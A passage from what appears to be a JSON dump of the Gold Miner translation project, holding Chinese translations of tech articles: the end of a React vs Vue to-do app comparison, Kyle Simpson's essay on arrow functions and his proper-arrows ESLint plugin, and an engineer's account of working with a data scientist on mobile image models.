onClick={this.createNewToDoItem}>+</div>.\n```\n\n这里的实现非常简单，看起来很像使用原生 JS 来处理行内的 onClick 事件。正如 Vue 部分提到的，如果是为按下回车按钮设置事件监听器就需要花费更长的时间了。input 标签通常会处理 onKeyPress 事件，如下：\n\n```\n<input type=\"text\" onKeyPress={this.handleKeyPress}/>.\n```\n\n只要这个方法监听到了回车键按下，它就会调用 **createNewToDoItem** 函数，如下所示：\n\n```\nhandleKeyPress = (e) => {\n\nif (e.key === 'Enter') {\n\nthis.createNewToDoItem();\n\n}\n\n};\n```\n\n#### Vue：\n\nVue 中的实现超级直接。只需使用 **@** 符号，然后绑定相应的事件监听器。例如，要添加 click 事件监听器，只需如下编写代码：\n\n```\n<div class=\"ToDo-Add\" @click=\"createNewToDoItem()\">+</div> \n```\n\n注意：**@click** 实际上是 **v-on:click** 的简写。Vue 事件监听器另一个很酷的事情是：有很多修饰符可以链接到后面，例如 .once，它可以防止事件监听器被多次触发。在编写用于处理键盘事件侦听器时，也有一些快捷方式。我发现在 React 中为创建新的 ToDo 项绑定一个事件监听器需要花费更长的时间。而在 Vue 中，我能够像下面这样简单实现：\n\n```\n<input type=\"text\" v-on:keyup.enter=\"createNewToDoItem\"/>\n```\n\n#### 如何将数据传递给子组件？\n\n#### React：\n\n在 React 中，我们在使用子组件的地方通过 prop 传递数据，如下：\n\n```\n<ToDoItem key={key} item={todo} />\n```\n\n上面有两个 props 传递给了 **ToDoItem** 组件。这样传递之后，就可以在子组件内部通过 `this.props` 来引用它们了。因此，就可以通过 `this.props.item` 访问 **todo** 变量了。\n\n#### Vue：\n\n在 Vue 中，也是在使用子组件的地方传递数据，如下：\n\n```\n<ToDoItem v-for=\"todo in list\"   \n            :todo=\"todo\" :id=\"todo.id\"  \n            :key=\"todo.id\"  \n            @delete=\"onDeleteItem\" />\n```\n\n这样传递之后，我们会把这些数据传递到子组件的 props 数组中：**props: [ 'id', 'todo' ]**。然后就可以在子组件中通过它们的名字进行引用了，比如 **id** 和 **todo**。\n\n### 如何将数据发送回父组件？\n\n#### React：\n\n我们首先将函数传递给子组件，方法就是在使用子组件时将其作为 prop 传入。然后在形如 **onClick** 方法中通过 **this.props.whateverTheFunctionIsCalled** 引用这个函数。这将触发位于父组件中定义的函数。可以在**如何从列表中删除 Todo 项**一节中看到整个过程的一个示例。\n\n#### Vue：\n\n在子组件中，我们只需编写一个函数，将一个事件名发送回父组件。在父组件中，我们编写一个函数来监听这个事件，它会触发函数调用。可以在**如何从列表中删除 Todo 项**一节中看到整个过程的一个示例。\n\n### **到这里就完成了** 🎉\n\n我们研究了如何添加、删除和更改数据，以 prop 形式将数据从父组件传入到子组件，以及通过事件侦听器形式将数据从子组件发送到父组件。当然，在 React 和 Vue 之间还存在许多其它差异，但希望本文的内容对你理解两个框架如何处理问题打下一个好的基础 🤓\n\n#### **两个应用 Github 仓库链接：**\n\nVue ToDo：[https://github.com/sunil-sandhu/vue-todo](https://github.com/sunil-sandhu/vue-todo)\n\nReact ToDo：[https://github.com/sunil-sandhu/react-todo](https://github.com/sunil-sandhu/react-todo)\n\n\n\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/i-dont-hate-arrow-functions.md",
    "content": "> * 原文地址：[I Don’t Hate Arrow Functions](https://davidwalsh.name/i-dont-hate-arrow-functions)\n> * 原文作者：[Kyle Simpson](https://github.com/getify)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/i-dont-hate-arrow-functions.md](https://github.com/xitu/gold-miner/blob/master/TODO1/i-dont-hate-arrow-functions.md)\n> * 译者：[TiaossuP](https://github.com/tiaossup)\n> * 校对者：[Chorer](https://github.com/Chorer),[scarqin](https://github.com/scarqin)\n\n# 我并不讨厌箭头函数\n\n## 文章篇幅较长，可以直接看下面的总结\n\n箭头函数在某些场景下表现很好，但是在很多情况下，仍然有可能降低代码的可读性，因此要谨慎使用。\n\n尽管箭头函数显然已经在社区中被普遍接受（虽然并非一致支持），但事实证明，对于如何用好 `=>`，大家有各种各样的看法。\n\n可配置的 lint 规则是解决箭头函数的多样性和分歧的最佳解决方案。\n\n我发布了带有一些可配置规则的 [**proper-arrows** ESLint 插件](https://github.com/getify/eslint-plugin-proper-arrows)，用于控制代码库中的 `=>` 箭头函数。\n\n## 观点总是见仁见智的\n\n任何关注我（包括推特、书籍、课程等）很久的人，都知道我总是有很多观点。事实上，这是我唯一擅长的事情（这也是我自己的观点），而且从来不会对它们感到困惑。\n\n我不赞同「强观点，弱坚持」*（译注：原文 strong opinions, loosely held 当存在若干现有事实时，要自信而强硬地表达观点；而遇到更强有力的论据时，则要懂得妥协让步）*这种信条。我不会「松散地持有」我的观点，因为没有足够理由支持的观点本来就没有任何意义。我花了很多时间研究、修改、写作、尝试各种想法，然后才形成一个可以公开分享的观点。在这一点上，我的观点是非常坚定的，这是必然的。\n\n更重要的是，我是基于这些观点去教授来自世界各地不同公司的数千名开发人员的 —— 这让我有机会通过无数的讨论和辩论来深入审视我的观点。能身居教学之位我深感荣幸。\n\n这并不意味着我不能或不会改变我的观点。事实上，我曾经最坚定的观点之一 —— 「JS 类型及[强制类型转换](https://developer.mozilla.org/en-US/docs/Glossary/Type_coercion)在 JS 中很有用」最近已经发生了很大程度的变化。我对 JS 类型及类型检测工具为何有用有了更全面和深入的认识。甚至我对 `=>` 箭头函数（本文的主题）的看法也在不断发展和深化。\n\n但是很多人告诉我他们欣赏我的一点是，我不仅陈述观点，还用严密的、深思熟虑的推理来支持这些观点。即使当人们强烈反对我的观点时，他们通常也会称赞我至少拥有那些有理有据的观点。\n\n我试图通过我的演讲、教学和写作来给其他人同样的灵感。我不在乎你是否同意我的观点，我只在乎你能知道自己为什么会在技术上持有这么一个观点，并且可以用你自己的推理来认真地捍卫它。对我来说，这是一种与技术「和谐共处」的方式。\n\n## `=>` 箭头函数 != `function`\n\n我真心觉得 `=>` 箭头函数并不适合替换 JS 代码中所有（或者至少说大多数）的 `function` 函数代码。我发现在大多数情况下，箭头函数并没有让代码更易读。并非只有我这样想，每当我在社交媒体上分享[类似的观点](https://twitter.com/getify/status/1105182569824346112)时，我经常会收到[几十条](https://twitter.com/bence_a_toth/status/1105185760448311296)「我也是！」的回应，只掺杂着几条「你[完全错了](https://twitter.com/fardarter/status/1105347990225649664)」的[回应](https://twitter.com/kostitsyn/status/1105229763369680896)。\n\n但是我并不是想在这里完整地讨论 `=>` 箭头函数。关于它，我已经写了很多篇文章来表达观点，包括我书中的以下部分：\n\n* [“你不知道的 JavaScript（下卷）”，第二章，“箭头函数”](https://github.com/getify/You-Dont-Know-JS/blob/master/es6%20%26%20beyond/ch2.md#arrow-functions)\n* [\"Functional-Light JavaScript\", Ch2, \"Functions Without `function`\"](https://github.com/getify/Functional-Light-JS/blob/master/manuscript/ch2.md/#functions-without-function) (and the preceding section on function names).\n\n无论对 `=>` 的偏好如何，把其**仅仅**视为是一个**更好的** `function` 的想法，都有些过于简略了。除了一对一的关系，还有很多细微的差异值得讨论。\n\n关于 `=>` 我还是有一些喜爱的，你可能会很惊讶，因为大多数人认为我讨厌箭头函数。\n\n我并不讨厌它，我认为箭头函数有一些显而易见且重要的优点。\n\n只是我并不完全地把它们视为颠覆式的 `function`，现如今，大多数人都不在意中间派别细微的意见，所以因为我没有站在支持 => 的阵营，我就站在了反对的阵营。**但其实不是这样的**。\n\n我讨厌的是暗示箭头函数普遍更具可读性，或者，客观来说他们在各种情况下都**更好**的这种行为。\n\n我拒绝这一立场的原因是，在许多情况下，**我阅读这些代码都很吃力**。所以那种观点只会让作为开发人员的我感到愚蠢和自卑 ——「这段代码并没有非常易读，肯定是我有什么问题，为什么我这么菜？」而且，我并不是唯一一个被这种绝对观点严重煽动的[冒名顶替者综合症](https://baike.baidu.com/item/冒名顶替综合症)患者。\n\n最扯淡的是，人们告诉你，「你不了解或不喜欢 `=>` 的唯一原因是你没有充分地学习和使用它们」。行吧，谢谢（你屈尊的）提醒，我知道这是因为**我的**无知和经验不足了。但其实我内心只想说呵呵。我已经编写并阅读了成千上万个 `=>` 函数。我对它们足够了解，有资格发表意见。\n\n我没站在支持 `=>` 的阵营中，但我承认有些人确实喜欢它们，这是合理的。有些人从使用 `=>` 的语言转到 JS，所以他们能非常自然地感知和阅读。有些人还喜欢它们与数学符号的相似性。\n\n在我看来，有问题的是，某个阵营中的一些人对不同的意见根本无法做到理解或者产生共鸣，就好像提出异议者一定是**有什么东西做得不对**。\n\n## 好的代码书写体验 != 可读性\n\n我也认为**你们**在讨论代码可读性时其实不知道自己在说什么。总的来说，当你把大多数关于代码可读性的观点分解的时候，它们其实都是基于个人对**书写**简洁代码的偏好的看法。\n\n在关于代码可读性的争论中，当我提出反驳时，有些人只是固执己见，拒绝支持别人的观点。另一些人则会用「可读性只是主观的」来搪塞我的反驳。\n\n这种回答之脆弱令人震惊：两秒钟前，他们还在激烈地宣称 `=>` 箭头**绝对地、客观地**更具有可读性，然后当被追问时，他们承认，「行吧，**我**个人认为它更具有可读性，即使像你这样的无知之人不这么认为。」\n\n你猜怎么着？可读性**是**主观的，**但并不完全如此**。这是一个非常复杂的话题。也有一些人开始正式研究代码可读性的话题，试图找出哪些部分是客观的，哪些部分是主观的。\n\n我读过很多这样的研究，因此我确信这是一个足够复杂的话题，以至于它没法被简化成 T 恤上的 slogan。如果你想了解详情，我建议你自己去谷歌一下。\n\n虽然我无法完整地回答所有关于可读性的问题，但有一件事我可以肯定的是，代码更多的时候是被阅读而不是被写出来的，所以从「写代码更容易/更快」这个论据出发的论点是站不住脚的。需要考虑的不是你节省了多少写代码的时间，而是读者（未来的你或团队中的其他人）能够多清楚地理解。理想情况下，他们能够在不仔细梳理代码的情况下大致理解代码吗？\n\n任何试图证明写代码容易就有利于代码可读性的说法都是站不住脚的，总的来说，这只是在混淆视听。\n\n因此，我坚决反对 `=>` 总是客观地「更具可读性」。\n\n但我还是不讨厌箭头函数。我只是认为如果要有效地利用它们，我们需要更加自律。\n\n## Linter == 准则\n\n您可能（错误地）相信，linter 会告诉您有关代码的客观事实。其实它们**可以**做到这一点，但这不是其主要目的。\n\n能告诉您代码是否有效的最佳工具是编译器（即 JS 引擎）。而最适合告诉您代码是否「正确」（满足需求）的工具是测试集。\n\n但是最适合告诉您代码是否**合适**的工具是 linter。根据那些基于观点制订规则的作者的说法，Linter 就是指导你格式化和组织代码的充满主观观点的规则集合，它可以用于避免可能出现的问题。\n\n这就是规则所做的：**在你的代码中应用这些观点。**\n\n几乎可以肯定的是，这些观点会一次又一次地「冒犯」您。如果您像我们大多数人一样，就会出现「幻想自己做得很好，并且认为您在此代码行上所做的事情是**正确**的。然后 linter 跳出来，说：『不，不要那样做。』」的场景。\n\n如果有时您的直觉告诉你不要同意 linter 提出的意见，那么您就跟我们其余的人一样了！我们从情感上迷恋自己的观点和能力，并且当某种工具指出我们的错误时，我们就会有点狂躁。\n\n我不会对测试集或 JS 引擎感到生气。这些东西都是关于我的代码的**事实**。但是当 linter 的**观点**与我的不同时，我就会非常生气。\n\n我在几周前启用了一个 linter 规则，因为我在重新阅读代码的时候发现有一处让我烦恼的、前后矛盾的地方。但现在，这条 lint 规则每小时会出现两三次，就像 90 年代情景喜剧里典型的老奶奶一样，让我心烦。每一次，我都思考（仅仅是片刻）我是否应该取消这个规则。但最终我让它开着，虽然这令我不爽。\n\n为什么要让我们自己遭受如此痛苦？因为 linter 工具及其观点给我们提供了准则。他们帮助我们更好地与他人协作。\n\n它们最终帮助我们更清晰地表达代码。\n\n我们为什么不让每个开发人员都自己做出决定？因为我们总是倾向于情感依恋。虽然我们写着**自己的代码**，但面对着不合理的压力和期限，我们很可能会以最不值得信赖的心态进行这些判断。\n\n我们应该听从于帮助我们维护准则的工具。\n\n类似于 TDD 倡导的写业务代码前先写测试代码的原则。当我们仔细分析时，会发现我们最看重的是流程的纪律性和全局效果。在代码无法工作、还找不到原因时，我们就只能胡乱挪一挪代码，来看是否能用。在这种情境下，我们是无法建立这样的过程的。\n\n讲道理，我们还是要承认，当我们制定了合理的指导方针，然后遵守它们的准则时，**整体利益**会达到最大化。\n\n## 可配置性为王\n\n如果你有意让自己接受 lint 规则，你（和你的团队，如果有的话）肯定会想要一些发言权 —— 你需要遵守哪些规则。武断和不容置疑的观点是最糟糕的。\n\n还记得 JSLint 么？那里 98% 的规则只是 Crockford 的个人观点，你要么使用这个工具，要么不使用这个工具。他直接在 README 文档中警告你，你会被冒犯，你应该克服它。很有趣，对吧？（有些人可能还在使用 JSLint，但是我认为您应该考虑使用更现代的工具！）\n\n这就是在当代的 linter 工具中，[ESLint 为王](https://eslint.org/)的原因。其基本思想是，让一切都是可配置的。让开发者和团队从自己的准则和利益出发，自行决定要使用什么样的代码规范。\n\n这不意味着每个开发人员都有自己的规则。规则的目的是使代码符合一个合理的折中方案，即「集中式标准」，这是与团队中大多数开发人员进行最清晰沟通的最佳机会。\n\n但是没有任何规则是 100% 完美的。总会有例外情况。所以，使用内联注释来禁用或覆盖规则这一功能不仅仅是一个小特性，还是一个必要功能。\n\n您不希望开发人员通过配置自己本地的 ESLint 规则，来让提交代码时绕过共识规则。您想要的是开发人员要么遵循已建立的规则（首选！），**要么**在破例的地方让这个逃离规则的例外一目了然。\n\n理想情况下，在 code review 期间，可以讨论、审查这些特殊标记。也许这是合理的，也许不是。但至少它是显而易见、可以讨论的。\n\n工具的可配置性指的是让工具为我们服务，而不是我们为工具服务。\n\n有些人更喜欢基于约定，而非基于工具，约定的规则是预先确定的，因此没有讨论或辩论。我知道这对一些开发人员和一些团队是有效的，但是我认为这不是一种可以广泛应用、可持续的方法最终，如果一个工具不能灵活地适应不断变化的项目需求、成为开发人员开发过程中重要的一部分，那么它将会变得模糊，并最终被取代。\n\n## 箭头函数的正当用法\n\n我充分能理解，在这里我使用「正当」这个词会惹怒一些人：「谁有资格说什么是正当的，什么是不正当的？」\n\n记住，我并不是要告诉你什么是正当的。我想让大家接受这样一个观点，即关于 `=>` 箭头函数的各种观点就像它们的语法和用法的所有细微差别一样，最终最正当的是**一些观点**，不管具体是什么，总归会有一些可应用的观点。\n\n虽然我是 ESLint 的狂热粉丝，但是我对 ESLint 的内置规则无法从各个方面支持 `=>` 箭头函数而感到失望，虽然有[很](https://eslint.org/docs/rules/arrow-body-style)少[的](https://eslint.org/docs/rules/arrow-parens)几[个](https://eslint.org/docs/rules/arrow-spacing)内[置](https://eslint.org/docs/rules/implicit-arrow-linebreak)规则，但我很失望，它们似乎主要关注于表面的风格细节，例如空白符。\n\n我认为有许多方面会妨碍 `=>` 箭头函数的可读性，这些问题远远超出了现有 ESLint 规则集所能控制的范围。我在[推特](https://twitter.com/getify/status/1106641030273736704)上问了[很多人](https://twitter.com/getify/status/1106902287010709504)，似乎很多人对此都有看法。\n\n顶级的 linter 就应该不仅允许您根据自己的喜好配置规则，还可以在缺少某些内容时构造自己的规则。幸运的是，ESLint 完全支持这一点！\n\n因此，我决定开发一个 ESLint 插件来定义一组围绕 `=>` 箭头函数的附加规则：[**proper-arrows**](https://github.com/getify/eslint-plugin-proper-arrows)。\n\n在解释它之前，我要先指出：它是一组规则，您可以自主决定打开或关闭、配置这些规则。如果你发现哪怕有一个规则的一个细节对您有帮助，使用这个规则/插件都是更好的选择。\n\n我很高兴你对 `=>` 箭头函数有自己的看法。事实上，这才是重点。如果我们都对 `=>` 箭头函数有不同的意见，那么我们应该有工具支持选择和配置这些不同的意见。\n\n这个插件的原理是，对于每个规则，当你打开这个规则时，你会默认打开它的所有报告模式。您可以不打开规则，也可以打开规则，然后根据需要配置它的模式。但我不希望你必须去寻找规则/模式来开启，因为它们的晦涩甚至会阻碍你去考虑它们。所以**每个规则都默认开启**。\n\n唯一的例外是，在默认情况下，所有的规则都忽略了[简单的 `=>` 箭头函数](https://github.com/getify/eslint-plugin-proper-arrows#trivial--arrow-functions)，比如 `()=> {}`、`x => x`等。如果您想要检查它们，那么您必须在每个规则的基础上使用 `{ \"trivial\": true }` 选项打开检查。\n\n### 具体规则\n\n那么具体提供了哪些规则呢？以下是[对项目概述的摘录](https://github.com/getify/eslint-plugin-proper-arrows/blob/master/README.md#overview)：\n\n* [`\"params\"`](https://github.com/getify/eslint-plugin-proper-arrows/blob/master/README.md#rule-params)：控制 `=>` 箭头函数参数的定义，例如禁止未使用的参数，禁止短/无语义的参数名称等。\n* [`\"name\"`](https://github.com/getify/eslint-plugin-proper-arrows/blob/master/README.md#rule-name)：要求仅在接收到推断名称的位置使用 `=>` 箭头函数（即分配给变量或属性等），以避免匿名函数表达式的不可读/可调试性。\n* [`\"where\"`](https://github.com/getify/eslint-plugin-proper-arrows/blob/master/README.md#rule-where)：限制可以在程序结构中使用 `=>` 箭头函数的位置：禁止在顶级/全局作用域、对象属性、`export` 语句等地方使用。\n* [`\"return\"`](https://github.com/getify/eslint-plugin-proper-arrows/blob/master/README.md#rule-return)：限制 `=>` 箭头函数的简明返回值类型，例如禁止对象文字简明返回（`x => ({ x })`）、禁止条件/三元表达式的简明返回（`x => x ? y : z`）等。\n* [`\"this\"`](https://github.com/getify/eslint-plugin-proper-arrows/blob/master/README.md#rule-this)：要求/禁止 `=>` 箭头函数在 `=>` 箭头函数自身或嵌套 `=>` 箭头函数中使用 `this` 引用，该规则可以有选择地禁止全局作用域使用带 `this` 的 `=>` 箭头函数。\n\n请记住，每个规则都有不同的模式可供配置，所以这些并非全有或全无的。选择你需要的即可。\n\n为了示意 **proper-arrows** 规则可以检查什么，让我们看看 [`\"return\"` 规则](https://github.com/getify/eslint-plugin-proper-arrows/blob/master/README.md#rule-return)，特别是它的 [`\"sequence\"` 模式](https://github.com/getify/eslint-plugin-proper-arrows/blob/master/README.md#rule-return-configuration-sequence)。这种模式将 `=>` 箭头函数的简洁返回表达式表示为逗号分隔的序列，如下所示:\n\n```JavaScript\nvar myfunc = (x,y) => ( x = 3, y = foo(x + 1), \\[x,y\\] );\n```\n\nSequences 通常用于 `=>` 箭头函数的简洁返回结果中，从而将多个（表达式）语句串在一起，而不需要使用完整的 `{ .. }` 分隔函数体和显式的 `return` 语句。\n\n有些人可能喜欢这种风格，这没问题！不过还有很多人更倾向于可读性而不是更简洁的代码，他们更喜欢：\n\n```JavaScript\nvar fn2 = (x,y) => { x = 3; y = foo(x + 1); return \\[x,y\\]; };\n```\n\n请注意，它仍然是一个 `=>` 箭头函数，其实也并没有多出几个字符。但这样可以更清楚的看到，此函数体中包含三个单独的语句。\n\n更好的做法：\n\n```JavaScript\nvar fn2 = (x,y) => {\n   x = 3;\n   y = foo(x + 1);\n   return \\[x,y\\];\n};\n```\n\n需要明确的是， **proper-arrows** 规则不会对琐碎的样式差异进行强制，例如空格/缩进。如果要对这类差异进行统一，可以结合使用其它（ ESLint 内置）规则。 **proper-arrows** 规则专注于有关于 `=>` 箭头函数的更实质性的内容。\n\n## 简要总结\n\n针对「什么才能造就**良好、正确**的 `=>` 箭头函数的样式」这件事，您和我一定有不同的意见。这是一件正常不过的事情。\n\n我有两个目标：\n\n1. 说服您：对这些东西的看法不同是没关系的。\n2. 使您能够使用可配置的工具来制定并推行自己的观点（或团队共识）。\n\n争论基于意见的规则确实没有任何收获。选择您喜欢的，忘记您不喜欢的就够了。\n\n我希望您看一下 [**proper-arrows**](https://github.com/getify/eslint-plugin-proper-arrows)，然后看看有没有哪些规则可以为您所用，让您的 `=>` 箭头函数符合您心目中代码的正确形式。\n\n如果这个插件缺少一些有助于定义更多正确箭头的规则，请[提出 issue，咱们一起讨论](https://github.com/getify/eslint-plugin-proper-arrows/issues)！我们完全有可能添加该规则/模式，尽管我个人并不打算开启该规则！\n\n我不讨厌 `=>` 箭头函数，您也不应该。我只是讨厌无知无纪的争辩。让我们拥抱更智能，可配置性更强的工具，然后转向更重要的主题吧！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/i-worked-with-a-data-scientist-heres-what-i-learned.md",
    "content": "> * 原文地址：[I Worked With A Data Scientist As A Software Engineer. Here’s My Experience.](https://towardsdatascience.com/i-worked-with-a-data-scientist-heres-what-i-learned-2e19c5f5204)\n> * 原文作者：[Ben Daniel A.](https://towardsdatascience.com/@bendaniel10)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/i-worked-with-a-data-scientist-heres-what-i-learned.md](https://github.com/xitu/gold-miner/blob/master/TODO1/i-worked-with-a-data-scientist-heres-what-i-learned.md)\n> * 译者：[寒食君](https://github.com/CasualJi)\n> * 校对者：[Wangalan30](https://github.com/Wangalan30), [Fengziyin1234](https://github.com/Fengziyin1234)\n\n# 我作为软件工程师与一名数据科学家合作的经历\n\n本文我将谈一谈我作为一名 Java/Kotlin 工程师与一位数据科学家共事的经历。\n\n![](https://cdn-images-1.medium.com/max/2560/0*V-3j85eeM0dGnd-o)\n\nPhoto by [Daniel Cheung](https://unsplash.com/@danielkcheung?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)\n\n#### 背景\n\n在 2017 年，机器学习领域激发了我的兴趣。我曾[谈及过我入门时的经历](https://medium.com/@bendaniel10/hello-machine-learning-cc89b3ccbe4d)。总的来说，它充满了有趣的挑战同时也教给了我大量的知识。我是一名安卓工程师，这是我与一位数据科学家共事一项关于机器学习项目的工作经历。\n\n我记得我曾经试图解决一个出现在我司一款应用中有关图像分类的问题，我们需要根据一组已定义的规则去辨别有效与无效的图像。我立即从 Deeplearning4J（dl4j）中改进了这个[案例](https://github.com/deeplearning4j/dl4j-examples/blob/master/dl4j-examples/src/main/java/org/deeplearning4j/examples/convolution/AnimalsClassification.java)，并且试图用它去处理这个分类任务。虽然我没有获得预期的结果，但我保持着乐观心态。\n\n![](https://i.loli.net/2019/01/08/5c34b6733de77.png)\n\n由于最终获得的训练模型的大小存在问题，我使用 dlf4j 中示例代码的方法没有奏效。之所以失败，是因为我们需要一个能够达到压缩文件大小的模型，这对移动设备来说特别重要。\n\n#### 数据科学家的加入\n\n![](https://cdn-images-1.medium.com/max/600/0*zKBeymXEf00uZbZZ)\n\nPhoto by [rawpixel](https://unsplash.com/@rawpixel?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)\n\n就在这个时候，我们聘请了一位数据科学家，他拥有非常丰富的相关经验，我后来从他那里学到了很多。当发现大部分机器学习的问题可以通过 Python 解决时，我只好不情愿地学起了这门语言的基础知识。后来我发现很多问题使用Python更容易实现，这是由于 Python 社区对机器学习提供了巨大的支持。\n\n我们从小型课堂学起，就在这时，我们团队的其他成员也因为兴趣加入了进来。数据科学家向我们介绍了[Jupyter Notebooks](https://jupyter.org/install)和[Cloud Machine Learning Engine](https://cloud.google.com/ml-engine/docs/tensorflow/getting-started-training-prediction)。我们立即行动起来，着手尝试这个使用[花卉的数据集](https://cloud.google.com/ml-engine/docs/tensorflow/flowers-tutorial)来进行图像分类的案例。\n\n当所有团队成员都掌握了训练和部署模型的基础知识后，我们迈向那些等待解决的问题。作为团队成员，我目前专注于两项任务：图像分类和分割问题,它们之后都将通过卷积神经网络（CNNs）来实现。\n\n#### 准备训练数据并不简单\n\n![](https://cdn-images-1.medium.com/max/600/0*GllGs9LmPto_7-_U)\n\nPhoto by [Jonny Caspari](https://unsplash.com/@jonnysplsh?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)\n\n这两项任务都需要大量的训练数据。好消息是我们已经拥有了很多数据，但坏消息是它们都是未排序或未注释的。我终于明白了机器学习专家所说的：机器学习的大量时间都花费在准备训练数据而不是训练模型本身。\n\n为了图像分类任务，我们需要将数十万的图像分门别类，这是一项单调的工作，我不得不借助我 Java Swing 的技能来编写一些用户图形界面来使这项工作简单一些。总而言之，这项任务对于任何参与者都是枯燥无聊的。\n\n分割过程更复杂一点儿。幸运的是，我们找到了一些易于分割的模型，但不幸的是，它们太大了。同时，我们还想让模型能够在较低版本的安卓设备上运行。那位数据科学家灵光一闪，他建议我们使用这个大模型来生成训练数据，再使用这些数据来构建我们自己的移动网络。\n\n#### 训练\n\n我们最终转向了 [AWS Deep Learning AMI](https://docs.aws.amazon.com/dlami/latest/devguide/launch-config.html)。AWS 使我们感到省心，它提供的这项服务更为方便。训练图像分割模型的过程由我们的数据科学家全权负责，而我就站在他身边，书写笔记 :)\n\n![](https://i.loli.net/2019/01/08/5c34b6d806f4f.png)\n\n这些不是真实的日志，哈哈。\n\n训练模型是一项计算密集的任务，这让我理解了用于训练的计算机拥有充足的 GPU 和 RAM 的重要性。此次训练的时间很短，因为我们使用了这样的计算机集群，如果使用普通计算机，这将花费几周甚至几个月的时间。\n\n我处理了图像分类模型的训练，不必在云服务上训练它，事实上，我使用了我自己的 MacBook Pro。这是因为相较于为分割模型所做的全网络训练，我只训练了神经网络的最后一层。\n\n#### 部署生产环境\n\n在经过严格测试后，两项模型都部署在了我们的生产环境。一名团队成员负责构建 Java 包装类库，这样是为了使这些模型能够以一种抽象的方式被使用，这种方式抽象化了向模型提供图像和从张量中提取有效结果的复杂性。这是一个包含了模型对单个图像所做的预测的结果集。这个阶段中我也参与了一些工作，优化和重构了我曾经写过的一些代码。\n\n#### 挑战无处不在\n\n> 挑战使生活充满趣味，战胜它们使生活更有意义。 ——佚名\n\n我依然记得最大的挑战是三维数组，我需要十分谨慎地处理它们。与我们的数据科学家一同研究机器学习项目鼓舞着我继续机器学习之路。\n\n在为这些项目工作时，我遇到的最大的挑战是试图使用 Bazel 从源码中构建用于 32 位系统的 Tensorflow Java 类库，遗憾的是，我始终没有成功。\n\n![](https://i.loli.net/2019/01/08/5c34b69bf3c36.png)\n\n我也经历了其他一些挑战，有一项比较常见：将Python的解决方案翻译为 Java。由于 Python 已经内置了对于数据科学任务的诸多支持，所以 Python 代码更简洁。我依然记得当我试图逐字翻译一条命令时的紧张：scaling a 2D array and adding it as a transparent layer to an image。最终指令生效了，大家兴奋异常。\n\n现在，通常情况下这些模型在生产环境运行稳定，但是一旦它产生了错误结果，将会错得非常离谱。这让我想起了我在一篇[优秀文章](https://www.oreilly.com/ideas/lessons-learned-turning-machine-learning-models-into-real-products-and-services)中读到的关于如何将机器学习模型投入真实生产和服务的引言：\n\n> 如果不持续提供新数据，模型的质量将会很快降低。正如[漂移概念](https://machinelearningmastery.com/gentle-introduction-concept-drift-machine-learning/)所说的，随着时间的推移，静态机器学习模型提供的预测将变得不再那么准确和有效。某些情况下，这甚至可能在几天内发生。— David Talby\n\n这意味着我们不得不保持模型优化，且没有终点，这听上去很有趣。\n\n* * *\n\n我不确定我能否被称之为机器学习新手，因为我更关注移动开发。与机器学习团队共同研究训练模型来为公司解决问题的这段经历，让我十分激动。我期待下一次机会。\n\n感谢 TDS Team 和 Alexis McKenzie。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 